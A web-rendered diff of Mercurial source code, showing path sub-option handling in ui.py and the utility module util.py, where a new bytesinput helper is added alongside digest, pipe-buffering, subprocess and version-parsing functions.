1662 | 1654 | _pathsuboptions = {} |
|
1663 | 1655 | |
|
1664 | 1656 | def pathsuboption(option, attr): |
|
1665 | 1657 | """Decorator used to declare a path sub-option. |
|
1666 | 1658 | |
|
1667 | 1659 | Arguments are the sub-option name and the attribute it should set on |
|
1668 | 1660 | ``path`` instances. |
|
1669 | 1661 | |
|
1670 | 1662 | The decorated function will receive as arguments a ``ui`` instance, |
|
1671 | 1663 | ``path`` instance, and the string value of this option from the config. |
|
1672 | 1664 | The function should return the value that will be set on the ``path`` |
|
1673 | 1665 | instance. |
|
1674 | 1666 | |
|
1675 | 1667 | This decorator can be used to perform additional verification of |
|
1676 | 1668 | sub-options and to change the type of sub-options. |
|
1677 | 1669 | """ |
|
1678 | 1670 | def register(func): |
|
1679 | 1671 | _pathsuboptions[option] = (attr, func) |
|
1680 | 1672 | return func |
|
1681 | 1673 | return register |
|
1682 | 1674 | |
|
1683 | 1675 | @pathsuboption('pushurl', 'pushloc') |
|
1684 | 1676 | def pushurlpathoption(ui, path, value): |
|
1685 | 1677 | u = util.url(value) |
|
1686 | 1678 | # Actually require a URL. |
|
1687 | 1679 | if not u.scheme: |
|
1688 | 1680 | ui.warn(_('(paths.%s:pushurl not a URL; ignoring)\n') % path.name) |
|
1689 | 1681 | return None |
|
1690 | 1682 | |
|
1691 | 1683 | # Don't support the #foo syntax in the push URL to declare branch to |
|
1692 | 1684 | # push. |
|
1693 | 1685 | if u.fragment: |
|
1694 | 1686 | ui.warn(_('("#fragment" in paths.%s:pushurl not supported; ' |
|
1695 | 1687 | 'ignoring)\n') % path.name) |
|
1696 | 1688 | u.fragment = None |
|
1697 | 1689 | |
|
1698 | 1690 | return str(u) |
|
1699 | 1691 | |
|
1700 | 1692 | @pathsuboption('pushrev', 'pushrev') |
|
1701 | 1693 | def pushrevpathoption(ui, path, value): |
|
1702 | 1694 | return value |
|
1703 | 1695 | |
|
1704 | 1696 | class path(object): |
|
1705 | 1697 | """Represents an individual path and its configuration.""" |
|
1706 | 1698 | |
|
1707 | 1699 | def __init__(self, ui, name, rawloc=None, suboptions=None): |
|
1708 | 1700 | """Construct a path from its config options. |
|
1709 | 1701 | |
|
1710 | 1702 | ``ui`` is the ``ui`` instance the path is coming from. |
|
1711 | 1703 | ``name`` is the symbolic name of the path. |
|
1712 | 1704 | ``rawloc`` is the raw location, as defined in the config. |
|
1713 | 1705 | ``pushloc`` is the raw locations pushes should be made to. |
|
1714 | 1706 | |
|
1715 | 1707 | If ``name`` is not defined, we require that the location be a) a local |
|
1716 | 1708 | filesystem path with a .hg directory or b) a URL. If not, |
|
1717 | 1709 | ``ValueError`` is raised. |
|
1718 | 1710 | """ |
|
1719 | 1711 | if not rawloc: |
|
1720 | 1712 | raise ValueError('rawloc must be defined') |
|
1721 | 1713 | |
|
1722 | 1714 | # Locations may define branches via syntax <base>#<branch>. |
|
1723 | 1715 | u = util.url(rawloc) |
|
1724 | 1716 | branch = None |
|
1725 | 1717 | if u.fragment: |
|
1726 | 1718 | branch = u.fragment |
|
1727 | 1719 | u.fragment = None |
|
1728 | 1720 | |
|
1729 | 1721 | self.url = u |
|
1730 | 1722 | self.branch = branch |
|
1731 | 1723 | |
|
1732 | 1724 | self.name = name |
|
1733 | 1725 | self.rawloc = rawloc |
|
1734 | 1726 | self.loc = '%s' % u |
|
1735 | 1727 | |
|
1736 | 1728 | # When given a raw location but not a symbolic name, validate the |
|
1737 | 1729 | # location is valid. |
|
1738 | 1730 | if not name and not u.scheme and not self._isvalidlocalpath(self.loc): |
|
1739 | 1731 | raise ValueError('location is not a URL or path to a local ' |
|
1740 | 1732 | 'repo: %s' % rawloc) |
|
1741 | 1733 | |
|
1742 | 1734 | suboptions = suboptions or {} |
|
1743 | 1735 | |
|
1744 | 1736 | # Now process the sub-options. If a sub-option is registered, its |
|
1745 | 1737 | # attribute will always be present. The value will be None if there |
|
1746 | 1738 | # was no valid sub-option. |
|
1747 | 1739 | for suboption, (attr, func) in _pathsuboptions.iteritems(): |
|
1748 | 1740 | if suboption not in suboptions: |
|
1749 | 1741 | setattr(self, attr, None) |
|
1750 | 1742 | continue |
|
1751 | 1743 | |
|
1752 | 1744 | value = func(ui, self, suboptions[suboption]) |
|
1753 | 1745 | setattr(self, attr, value) |
|
1754 | 1746 | |
|
1755 | 1747 | def _isvalidlocalpath(self, path): |
|
1756 | 1748 | """Returns True if the given path is a potentially valid repository. |
|
1757 | 1749 | This is its own function so that extensions can change the definition of |
|
1758 | 1750 | 'valid' in this case (like when pulling from a git repo into a hg |
|
1759 | 1751 | one).""" |
|
1760 | 1752 | return os.path.isdir(os.path.join(path, '.hg')) |
|
1761 | 1753 | |
|
1762 | 1754 | @property |
|
1763 | 1755 | def suboptions(self): |
|
1764 | 1756 | """Return sub-options and their values for this path. |
|
1765 | 1757 | |
|
1766 | 1758 | This is intended to be used for presentation purposes. |
|
1767 | 1759 | """ |
|
1768 | 1760 | d = {} |
|
1769 | 1761 | for subopt, (attr, _func) in _pathsuboptions.iteritems(): |
|
1770 | 1762 | value = getattr(self, attr) |
|
1771 | 1763 | if value is not None: |
|
1772 | 1764 | d[subopt] = value |
|
1773 | 1765 | return d |
|
1774 | 1766 | |
|
1775 | 1767 | # we instantiate one globally shared progress bar to avoid |
|
1776 | 1768 | # competing progress bars when multiple UI objects get created |
|
1777 | 1769 | _progresssingleton = None |
|
1778 | 1770 | |
|
1779 | 1771 | def getprogbar(ui): |
|
1780 | 1772 | global _progresssingleton |
|
1781 | 1773 | if _progresssingleton is None: |
|
1782 | 1774 | # passing 'ui' object to the singleton is fishy, |
|
1783 | 1775 | # this is how the extension used to work but feel free to rework it. |
|
1784 | 1776 | _progresssingleton = progress.progbar(ui) |
|
1785 | 1777 | return _progresssingleton |
@@ -1,3765 +1,3777 b'' | |||
|
1 | 1 | # util.py - Mercurial utility functions and platform specific implementations |
|
2 | 2 | # |
|
3 | 3 | # Copyright 2005 K. Thananchayan <thananck@yahoo.com> |
|
4 | 4 | # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
|
5 | 5 | # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> |
|
6 | 6 | # |
|
7 | 7 | # This software may be used and distributed according to the terms of the |
|
8 | 8 | # GNU General Public License version 2 or any later version. |
|
9 | 9 | |
|
10 | 10 | """Mercurial utility functions and platform specific implementations. |
|
11 | 11 | |
|
12 | 12 | This contains helper routines that are independent of the SCM core and |
|
13 | 13 | hide platform-specific details from the core. |
|
14 | 14 | """ |
|
15 | 15 | |
|
16 | 16 | from __future__ import absolute_import |
|
17 | 17 | |
|
18 | 18 | import abc |
|
19 | 19 | import bz2 |
|
20 | 20 | import calendar |
|
21 | 21 | import codecs |
|
22 | 22 | import collections |
|
23 | 23 | import contextlib |
|
24 | 24 | import datetime |
|
25 | 25 | import errno |
|
26 | 26 | import gc |
|
27 | 27 | import hashlib |
|
28 | 28 | import imp |
|
29 | 29 | import os |
|
30 | 30 | import platform as pyplatform |
|
31 | 31 | import re as remod |
|
32 | 32 | import shutil |
|
33 | 33 | import signal |
|
34 | 34 | import socket |
|
35 | 35 | import stat |
|
36 | 36 | import string |
|
37 | 37 | import subprocess |
|
38 | 38 | import sys |
|
39 | 39 | import tempfile |
|
40 | 40 | import textwrap |
|
41 | 41 | import time |
|
42 | 42 | import traceback |
|
43 | 43 | import warnings |
|
44 | 44 | import zlib |
|
45 | 45 | |
|
46 | 46 | from . import ( |
|
47 | 47 | encoding, |
|
48 | 48 | error, |
|
49 | 49 | i18n, |
|
50 | 50 | policy, |
|
51 | 51 | pycompat, |
|
52 | 52 | ) |
|
53 | 53 | |
|
54 | 54 | base85 = policy.importmod(r'base85') |
|
55 | 55 | osutil = policy.importmod(r'osutil') |
|
56 | 56 | parsers = policy.importmod(r'parsers') |
|
57 | 57 | |
|
58 | 58 | b85decode = base85.b85decode |
|
59 | 59 | b85encode = base85.b85encode |
|
60 | 60 | |
|
61 | 61 | cookielib = pycompat.cookielib |
|
62 | 62 | empty = pycompat.empty |
|
63 | 63 | httplib = pycompat.httplib |
|
64 | 64 | httpserver = pycompat.httpserver |
|
65 | 65 | pickle = pycompat.pickle |
|
66 | 66 | queue = pycompat.queue |
|
67 | 67 | socketserver = pycompat.socketserver |
|
68 | 68 | stderr = pycompat.stderr |
|
69 | 69 | stdin = pycompat.stdin |
|
70 | 70 | stdout = pycompat.stdout |
|
71 | 71 | stringio = pycompat.stringio |
|
72 | 72 | urlerr = pycompat.urlerr |
|
73 | 73 | urlreq = pycompat.urlreq |
|
74 | 74 | xmlrpclib = pycompat.xmlrpclib |
|
75 | 75 | |
|
76 | 76 | # workaround for win32mbcs |
|
77 | 77 | _filenamebytestr = pycompat.bytestr |
|
78 | 78 | |
|
79 | 79 | def isatty(fp): |
|
80 | 80 | try: |
|
81 | 81 | return fp.isatty() |
|
82 | 82 | except AttributeError: |
|
83 | 83 | return False |
|
84 | 84 | |
|
85 | 85 | # glibc determines buffering on first write to stdout - if we replace a TTY |
|
86 | 86 | # destined stdout with a pipe destined stdout (e.g. pager), we want line |
|
87 | 87 | # buffering |
|
88 | 88 | if isatty(stdout): |
|
89 | 89 | stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1) |
|
90 | 90 | |
|
91 | 91 | if pycompat.osname == 'nt': |
|
92 | 92 | from . import windows as platform |
|
93 | 93 | stdout = platform.winstdout(stdout) |
|
94 | 94 | else: |
|
95 | 95 | from . import posix as platform |
|
96 | 96 | |
|
97 | 97 | _ = i18n._ |
|
98 | 98 | |
|
99 | 99 | bindunixsocket = platform.bindunixsocket |
|
100 | 100 | cachestat = platform.cachestat |
|
101 | 101 | checkexec = platform.checkexec |
|
102 | 102 | checklink = platform.checklink |
|
103 | 103 | copymode = platform.copymode |
|
104 | 104 | executablepath = platform.executablepath |
|
105 | 105 | expandglobs = platform.expandglobs |
|
106 | 106 | explainexit = platform.explainexit |
|
107 | 107 | findexe = platform.findexe |
|
108 | 108 | gethgcmd = platform.gethgcmd |
|
109 | 109 | getuser = platform.getuser |
|
110 | 110 | getpid = os.getpid |
|
111 | 111 | groupmembers = platform.groupmembers |
|
112 | 112 | groupname = platform.groupname |
|
113 | 113 | hidewindow = platform.hidewindow |
|
114 | 114 | isexec = platform.isexec |
|
115 | 115 | isowner = platform.isowner |
|
116 | 116 | listdir = osutil.listdir |
|
117 | 117 | localpath = platform.localpath |
|
118 | 118 | lookupreg = platform.lookupreg |
|
119 | 119 | makedir = platform.makedir |
|
120 | 120 | nlinks = platform.nlinks |
|
121 | 121 | normpath = platform.normpath |
|
122 | 122 | normcase = platform.normcase |
|
123 | 123 | normcasespec = platform.normcasespec |
|
124 | 124 | normcasefallback = platform.normcasefallback |
|
125 | 125 | openhardlinks = platform.openhardlinks |
|
126 | 126 | oslink = platform.oslink |
|
127 | 127 | parsepatchoutput = platform.parsepatchoutput |
|
128 | 128 | pconvert = platform.pconvert |
|
129 | 129 | poll = platform.poll |
|
130 | 130 | popen = platform.popen |
|
131 | 131 | posixfile = platform.posixfile |
|
132 | 132 | quotecommand = platform.quotecommand |
|
133 | 133 | readpipe = platform.readpipe |
|
134 | 134 | rename = platform.rename |
|
135 | 135 | removedirs = platform.removedirs |
|
136 | 136 | samedevice = platform.samedevice |
|
137 | 137 | samefile = platform.samefile |
|
138 | 138 | samestat = platform.samestat |
|
139 | 139 | setbinary = platform.setbinary |
|
140 | 140 | setflags = platform.setflags |
|
141 | 141 | setsignalhandler = platform.setsignalhandler |
|
142 | 142 | shellquote = platform.shellquote |
|
143 | 143 | spawndetached = platform.spawndetached |
|
144 | 144 | split = platform.split |
|
145 | 145 | sshargs = platform.sshargs |
|
146 | 146 | statfiles = getattr(osutil, 'statfiles', platform.statfiles) |
|
147 | 147 | statisexec = platform.statisexec |
|
148 | 148 | statislink = platform.statislink |
|
149 | 149 | testpid = platform.testpid |
|
150 | 150 | umask = platform.umask |
|
151 | 151 | unlink = platform.unlink |
|
152 | 152 | username = platform.username |
|
153 | 153 | |
|
154 | 154 | try: |
|
155 | 155 | recvfds = osutil.recvfds |
|
156 | 156 | except AttributeError: |
|
157 | 157 | pass |
|
158 | 158 | try: |
|
159 | 159 | setprocname = osutil.setprocname |
|
160 | 160 | except AttributeError: |
|
161 | 161 | pass |
|
162 | 162 | |
|
163 | 163 | # Python compatibility |
|
164 | 164 | |
|
165 | 165 | _notset = object() |
|
166 | 166 | |
|
167 | 167 | # disable Python's problematic floating point timestamps (issue4836) |
|
168 | 168 | # (Python hypocritically says you shouldn't change this behavior in |
|
169 | 169 | # libraries, and sure enough Mercurial is not a library.) |
|
170 | 170 | os.stat_float_times(False) |
|
171 | 171 | |
|
172 | 172 | def safehasattr(thing, attr): |
|
173 | 173 | return getattr(thing, attr, _notset) is not _notset |
|
174 | 174 | |
|
175 | def bytesinput(fin, fout, *args, **kwargs): | |
|
176 | sin, sout = sys.stdin, sys.stdout | |
|
177 | try: | |
|
178 | if pycompat.ispy3: | |
|
179 | sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout) | |
|
180 | return encoding.strtolocal(input(*args, **kwargs)) | |
|
181 | else: | |
|
182 | sys.stdin, sys.stdout = fin, fout | |
|
183 | return raw_input(*args, **kwargs) | |
|
184 | finally: | |
|
185 | sys.stdin, sys.stdout = sin, sout | |
|
186 | ||
|
175 | 187 | def bitsfrom(container): |
|
176 | 188 | bits = 0 |
|
177 | 189 | for bit in container: |
|
178 | 190 | bits |= bit |
|
179 | 191 | return bits |
|
180 | 192 | |
|
181 | 193 | # python 2.6 still have deprecation warning enabled by default. We do not want |
|
182 | 194 | # to display anything to standard user so detect if we are running test and |
|
183 | 195 | # only use python deprecation warning in this case. |
|
184 | 196 | _dowarn = bool(encoding.environ.get('HGEMITWARNINGS')) |
|
185 | 197 | if _dowarn: |
|
186 | 198 | # explicitly unfilter our warning for python 2.7 |
|
187 | 199 | # |
|
188 | 200 | # The option of setting PYTHONWARNINGS in the test runner was investigated. |
|
189 | 201 | # However, module name set through PYTHONWARNINGS was exactly matched, so |
|
190 | 202 | # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This |
|
191 | 203 | # makes the whole PYTHONWARNINGS thing useless for our usecase. |
|
192 | 204 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial') |
|
193 | 205 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext') |
|
194 | 206 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd') |
|
195 | 207 | |
|
196 | 208 | def nouideprecwarn(msg, version, stacklevel=1): |
|
197 | 209 | """Issue an python native deprecation warning |
|
198 | 210 | |
|
199 | 211 | This is a noop outside of tests, use 'ui.deprecwarn' when possible. |
|
200 | 212 | """ |
|
201 | 213 | if _dowarn: |
|
202 | 214 | msg += ("\n(compatibility will be dropped after Mercurial-%s," |
|
203 | 215 | " update your code.)") % version |
|
204 | 216 | warnings.warn(msg, DeprecationWarning, stacklevel + 1) |
|
205 | 217 | |
|
206 | 218 | DIGESTS = { |
|
207 | 219 | 'md5': hashlib.md5, |
|
208 | 220 | 'sha1': hashlib.sha1, |
|
209 | 221 | 'sha512': hashlib.sha512, |
|
210 | 222 | } |
|
211 | 223 | # List of digest types from strongest to weakest |
|
212 | 224 | DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5'] |
|
213 | 225 | |
|
214 | 226 | for k in DIGESTS_BY_STRENGTH: |
|
215 | 227 | assert k in DIGESTS |
|
216 | 228 | |
|
217 | 229 | class digester(object): |
|
218 | 230 | """helper to compute digests. |
|
219 | 231 | |
|
220 | 232 | This helper can be used to compute one or more digests given their name. |
|
221 | 233 | |
|
222 | 234 | >>> d = digester(['md5', 'sha1']) |
|
223 | 235 | >>> d.update('foo') |
|
224 | 236 | >>> [k for k in sorted(d)] |
|
225 | 237 | ['md5', 'sha1'] |
|
226 | 238 | >>> d['md5'] |
|
227 | 239 | 'acbd18db4cc2f85cedef654fccc4a4d8' |
|
228 | 240 | >>> d['sha1'] |
|
229 | 241 | '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' |
|
230 | 242 | >>> digester.preferred(['md5', 'sha1']) |
|
231 | 243 | 'sha1' |
|
232 | 244 | """ |
|
233 | 245 | |
|
234 | 246 | def __init__(self, digests, s=''): |
|
235 | 247 | self._hashes = {} |
|
236 | 248 | for k in digests: |
|
237 | 249 | if k not in DIGESTS: |
|
238 | 250 | raise Abort(_('unknown digest type: %s') % k) |
|
239 | 251 | self._hashes[k] = DIGESTS[k]() |
|
240 | 252 | if s: |
|
241 | 253 | self.update(s) |
|
242 | 254 | |
|
243 | 255 | def update(self, data): |
|
244 | 256 | for h in self._hashes.values(): |
|
245 | 257 | h.update(data) |
|
246 | 258 | |
|
247 | 259 | def __getitem__(self, key): |
|
248 | 260 | if key not in DIGESTS: |
|
249 | 261 | raise Abort(_('unknown digest type: %s') % k) |
|
250 | 262 | return self._hashes[key].hexdigest() |
|
251 | 263 | |
|
252 | 264 | def __iter__(self): |
|
253 | 265 | return iter(self._hashes) |
|
254 | 266 | |
|
255 | 267 | @staticmethod |
|
256 | 268 | def preferred(supported): |
|
257 | 269 | """returns the strongest digest type in both supported and DIGESTS.""" |
|
258 | 270 | |
|
259 | 271 | for k in DIGESTS_BY_STRENGTH: |
|
260 | 272 | if k in supported: |
|
261 | 273 | return k |
|
262 | 274 | return None |
|
263 | 275 | |
|
264 | 276 | class digestchecker(object): |
|
265 | 277 | """file handle wrapper that additionally checks content against a given |
|
266 | 278 | size and digests. |
|
267 | 279 | |
|
268 | 280 | d = digestchecker(fh, size, {'md5': '...'}) |
|
269 | 281 | |
|
270 | 282 | When multiple digests are given, all of them are validated. |
|
271 | 283 | """ |
|
272 | 284 | |
|
273 | 285 | def __init__(self, fh, size, digests): |
|
274 | 286 | self._fh = fh |
|
275 | 287 | self._size = size |
|
276 | 288 | self._got = 0 |
|
277 | 289 | self._digests = dict(digests) |
|
278 | 290 | self._digester = digester(self._digests.keys()) |
|
279 | 291 | |
|
280 | 292 | def read(self, length=-1): |
|
281 | 293 | content = self._fh.read(length) |
|
282 | 294 | self._digester.update(content) |
|
283 | 295 | self._got += len(content) |
|
284 | 296 | return content |
|
285 | 297 | |
|
286 | 298 | def validate(self): |
|
287 | 299 | if self._size != self._got: |
|
288 | 300 | raise Abort(_('size mismatch: expected %d, got %d') % |
|
289 | 301 | (self._size, self._got)) |
|
290 | 302 | for k, v in self._digests.items(): |
|
291 | 303 | if v != self._digester[k]: |
|
292 | 304 | # i18n: first parameter is a digest name |
|
293 | 305 | raise Abort(_('%s mismatch: expected %s, got %s') % |
|
294 | 306 | (k, v, self._digester[k])) |
|
295 | 307 | |
|
296 | 308 | try: |
|
297 | 309 | buffer = buffer |
|
298 | 310 | except NameError: |
|
299 | 311 | def buffer(sliceable, offset=0, length=None): |
|
300 | 312 | if length is not None: |
|
301 | 313 | return memoryview(sliceable)[offset:offset + length] |
|
302 | 314 | return memoryview(sliceable)[offset:] |
|
303 | 315 | |
|
304 | 316 | closefds = pycompat.osname == 'posix' |
|
305 | 317 | |
|
306 | 318 | _chunksize = 4096 |
|
307 | 319 | |
|
308 | 320 | class bufferedinputpipe(object): |
|
309 | 321 | """a manually buffered input pipe |
|
310 | 322 | |
|
311 | 323 | Python will not let us use buffered IO and lazy reading with 'polling' at |
|
312 | 324 | the same time. We cannot probe the buffer state and select will not detect |
|
313 | 325 | that data are ready to read if they are already buffered. |
|
314 | 326 | |
|
315 | 327 | This class let us work around that by implementing its own buffering |
|
316 | 328 | (allowing efficient readline) while offering a way to know if the buffer is |
|
317 | 329 | empty from the output (allowing collaboration of the buffer with polling). |
|
318 | 330 | |
|
319 | 331 | This class lives in the 'util' module because it makes use of the 'os' |
|
320 | 332 | module from the python stdlib. |
|
321 | 333 | """ |
|
322 | 334 | |
|
323 | 335 | def __init__(self, input): |
|
324 | 336 | self._input = input |
|
325 | 337 | self._buffer = [] |
|
326 | 338 | self._eof = False |
|
327 | 339 | self._lenbuf = 0 |
|
328 | 340 | |
|
329 | 341 | @property |
|
330 | 342 | def hasbuffer(self): |
|
331 | 343 | """True is any data is currently buffered |
|
332 | 344 | |
|
333 | 345 | This will be used externally a pre-step for polling IO. If there is |
|
334 | 346 | already data then no polling should be set in place.""" |
|
335 | 347 | return bool(self._buffer) |
|
336 | 348 | |
|
337 | 349 | @property |
|
338 | 350 | def closed(self): |
|
339 | 351 | return self._input.closed |
|
340 | 352 | |
|
341 | 353 | def fileno(self): |
|
342 | 354 | return self._input.fileno() |
|
343 | 355 | |
|
344 | 356 | def close(self): |
|
345 | 357 | return self._input.close() |
|
346 | 358 | |
|
347 | 359 | def read(self, size): |
|
348 | 360 | while (not self._eof) and (self._lenbuf < size): |
|
349 | 361 | self._fillbuffer() |
|
350 | 362 | return self._frombuffer(size) |
|
351 | 363 | |
|
352 | 364 | def readline(self, *args, **kwargs): |
|
353 | 365 | if 1 < len(self._buffer): |
|
354 | 366 | # this should not happen because both read and readline end with a |
|
355 | 367 | # _frombuffer call that collapse it. |
|
356 | 368 | self._buffer = [''.join(self._buffer)] |
|
357 | 369 | self._lenbuf = len(self._buffer[0]) |
|
358 | 370 | lfi = -1 |
|
359 | 371 | if self._buffer: |
|
360 | 372 | lfi = self._buffer[-1].find('\n') |
|
361 | 373 | while (not self._eof) and lfi < 0: |
|
362 | 374 | self._fillbuffer() |
|
363 | 375 | if self._buffer: |
|
364 | 376 | lfi = self._buffer[-1].find('\n') |
|
365 | 377 | size = lfi + 1 |
|
366 | 378 | if lfi < 0: # end of file |
|
367 | 379 | size = self._lenbuf |
|
368 | 380 | elif 1 < len(self._buffer): |
|
369 | 381 | # we need to take previous chunks into account |
|
370 | 382 | size += self._lenbuf - len(self._buffer[-1]) |
|
371 | 383 | return self._frombuffer(size) |
|
372 | 384 | |
|
373 | 385 | def _frombuffer(self, size): |
|
374 | 386 | """return at most 'size' data from the buffer |
|
375 | 387 | |
|
376 | 388 | The data are removed from the buffer.""" |
|
377 | 389 | if size == 0 or not self._buffer: |
|
378 | 390 | return '' |
|
379 | 391 | buf = self._buffer[0] |
|
380 | 392 | if 1 < len(self._buffer): |
|
381 | 393 | buf = ''.join(self._buffer) |
|
382 | 394 | |
|
383 | 395 | data = buf[:size] |
|
384 | 396 | buf = buf[len(data):] |
|
385 | 397 | if buf: |
|
386 | 398 | self._buffer = [buf] |
|
387 | 399 | self._lenbuf = len(buf) |
|
388 | 400 | else: |
|
389 | 401 | self._buffer = [] |
|
390 | 402 | self._lenbuf = 0 |
|
391 | 403 | return data |
|
392 | 404 | |
|
393 | 405 | def _fillbuffer(self): |
|
394 | 406 | """read data to the buffer""" |
|
395 | 407 | data = os.read(self._input.fileno(), _chunksize) |
|
396 | 408 | if not data: |
|
397 | 409 | self._eof = True |
|
398 | 410 | else: |
|
399 | 411 | self._lenbuf += len(data) |
|
400 | 412 | self._buffer.append(data) |
|
401 | 413 | |
|
402 | 414 | def popen2(cmd, env=None, newlines=False): |
|
403 | 415 | # Setting bufsize to -1 lets the system decide the buffer size. |
|
404 | 416 | # The default for bufsize is 0, meaning unbuffered. This leads to |
|
405 | 417 | # poor performance on Mac OS X: http://bugs.python.org/issue4194 |
|
406 | 418 | p = subprocess.Popen(cmd, shell=True, bufsize=-1, |
|
407 | 419 | close_fds=closefds, |
|
408 | 420 | stdin=subprocess.PIPE, stdout=subprocess.PIPE, |
|
409 | 421 | universal_newlines=newlines, |
|
410 | 422 | env=env) |
|
411 | 423 | return p.stdin, p.stdout |
|
412 | 424 | |
|
413 | 425 | def popen3(cmd, env=None, newlines=False): |
|
414 | 426 | stdin, stdout, stderr, p = popen4(cmd, env, newlines) |
|
415 | 427 | return stdin, stdout, stderr |
|
416 | 428 | |
|
417 | 429 | def popen4(cmd, env=None, newlines=False, bufsize=-1): |
|
418 | 430 | p = subprocess.Popen(cmd, shell=True, bufsize=bufsize, |
|
419 | 431 | close_fds=closefds, |
|
420 | 432 | stdin=subprocess.PIPE, stdout=subprocess.PIPE, |
|
421 | 433 | stderr=subprocess.PIPE, |
|
422 | 434 | universal_newlines=newlines, |
|
423 | 435 | env=env) |
|
424 | 436 | return p.stdin, p.stdout, p.stderr, p |
|
425 | 437 | |
|
426 | 438 | def version(): |
|
427 | 439 | """Return version information if available.""" |
|
428 | 440 | try: |
|
429 | 441 | from . import __version__ |
|
430 | 442 | return __version__.version |
|
431 | 443 | except ImportError: |
|
432 | 444 | return 'unknown' |
|
433 | 445 | |
|
434 | 446 | def versiontuple(v=None, n=4): |
|
435 | 447 | """Parses a Mercurial version string into an N-tuple. |
|
436 | 448 | |
|
437 | 449 | The version string to be parsed is specified with the ``v`` argument. |
|
438 | 450 | If it isn't defined, the current Mercurial version string will be parsed. |
|
439 | 451 | |
|
440 | 452 | ``n`` can be 2, 3, or 4. Here is how some version strings map to |
|
441 | 453 | returned values: |
|
442 | 454 | |
|
443 | 455 | >>> v = '3.6.1+190-df9b73d2d444' |
|
444 | 456 | >>> versiontuple(v, 2) |
|
445 | 457 | (3, 6) |
|
446 | 458 | >>> versiontuple(v, 3) |
|
447 | 459 | (3, 6, 1) |
|
448 | 460 | >>> versiontuple(v, 4) |
|
449 | 461 | (3, 6, 1, '190-df9b73d2d444') |
|
450 | 462 | |
|
451 | 463 | >>> versiontuple('3.6.1+190-df9b73d2d444+20151118') |
|
452 | 464 | (3, 6, 1, '190-df9b73d2d444+20151118') |
|
453 | 465 | |
|
454 | 466 | >>> v = '3.6' |
|
455 | 467 | >>> versiontuple(v, 2) |
|
456 | 468 | (3, 6) |
|
457 | 469 | >>> versiontuple(v, 3) |
|
458 | 470 | (3, 6, None) |
|
459 | 471 | >>> versiontuple(v, 4) |
|
460 | 472 | (3, 6, None, None) |
|
461 | 473 | |
|
462 | 474 | >>> v = '3.9-rc' |
|
463 | 475 | >>> versiontuple(v, 2) |
|
464 | 476 | (3, 9) |
|
465 | 477 | >>> versiontuple(v, 3) |
|
466 | 478 | (3, 9, None) |
|
467 | 479 | >>> versiontuple(v, 4) |
|
468 | 480 | (3, 9, None, 'rc') |
|
469 | 481 | |
|
470 | 482 | >>> v = '3.9-rc+2-02a8fea4289b' |
|
471 | 483 | >>> versiontuple(v, 2) |
|
472 | 484 | (3, 9) |
|
473 | 485 | >>> versiontuple(v, 3) |
|
474 | 486 | (3, 9, None) |
|
475 | 487 | >>> versiontuple(v, 4) |
|
476 | 488 | (3, 9, None, 'rc+2-02a8fea4289b') |
|
477 | 489 | """ |
|
478 | 490 | if not v: |
|
479 | 491 | v = version() |
|
480 | 492 | parts = remod.split('[\+-]', v, 1) |
|
481 | 493 | if len(parts) == 1: |
|
482 | 494 | vparts, extra = parts[0], None |
|
483 | 495 | else: |
|
484 | 496 | vparts, extra = parts |
|
485 | 497 | |
|
486 | 498 | vints = [] |
|
487 | 499 | for i in vparts.split('.'): |
|
488 | 500 | try: |
|
489 | 501 | vints.append(int(i)) |
|
490 | 502 | except ValueError: |
|
491 | 503 | break |
|
492 | 504 | # (3, 6) -> (3, 6, None) |
|
493 | 505 | while len(vints) < 3: |
|
494 | 506 | vints.append(None) |
|
495 | 507 | |
|
496 | 508 | if n == 2: |
|
497 | 509 | return (vints[0], vints[1]) |
|
498 | 510 | if n == 3: |
|
499 | 511 | return (vints[0], vints[1], vints[2]) |
|
500 | 512 | if n == 4: |
|
501 | 513 | return (vints[0], vints[1], vints[2], extra) |
|
502 | 514 | |
|
503 | 515 | # used by parsedate |
|
504 | 516 | defaultdateformats = ( |
|
505 | 517 | '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601 |
|
506 | 518 | '%Y-%m-%dT%H:%M', # without seconds |
|
507 | 519 | '%Y-%m-%dT%H%M%S', # another awful but legal variant without : |
|
508 | 520 | '%Y-%m-%dT%H%M', # without seconds |
|
509 | 521 | '%Y-%m-%d %H:%M:%S', # our common legal variant |
|
510 | 522 | '%Y-%m-%d %H:%M', # without seconds |
|
511 | 523 | '%Y-%m-%d %H%M%S', # without : |
|
512 | 524 | '%Y-%m-%d %H%M', # without seconds |
|
513 | 525 | '%Y-%m-%d %I:%M:%S%p', |
|
514 | 526 | '%Y-%m-%d %H:%M', |
|
515 | 527 | '%Y-%m-%d %I:%M%p', |
|
516 | 528 | '%Y-%m-%d', |
|
517 | 529 | '%m-%d', |
|
518 | 530 | '%m/%d', |
|
519 | 531 | '%m/%d/%y', |
|
520 | 532 | '%m/%d/%Y', |
|
521 | 533 | '%a %b %d %H:%M:%S %Y', |
|
522 | 534 | '%a %b %d %I:%M:%S%p %Y', |
|
523 | 535 | '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822" |
|
524 | 536 | '%b %d %H:%M:%S %Y', |
|
525 | 537 | '%b %d %I:%M:%S%p %Y', |
|
526 | 538 | '%b %d %H:%M:%S', |
|
527 | 539 | '%b %d %I:%M:%S%p', |
|
528 | 540 | '%b %d %H:%M', |
|
529 | 541 | '%b %d %I:%M%p', |
|
530 | 542 | '%b %d %Y', |
|
531 | 543 | '%b %d', |
|
532 | 544 | '%H:%M:%S', |
|
533 | 545 | '%I:%M:%S%p', |
|
534 | 546 | '%H:%M', |
|
535 | 547 | '%I:%M%p', |
|
536 | 548 | ) |
|
537 | 549 | |
|
538 | 550 | extendeddateformats = defaultdateformats + ( |
|
539 | 551 | "%Y", |
|
540 | 552 | "%Y-%m", |
|
541 | 553 | "%b", |
|
542 | 554 | "%b %Y", |
|
543 | 555 | ) |
|
544 | 556 | |
|
545 | 557 | def cachefunc(func): |
|
546 | 558 | '''cache the result of function calls''' |
|
547 | 559 | # XXX doesn't handle keywords args |
|
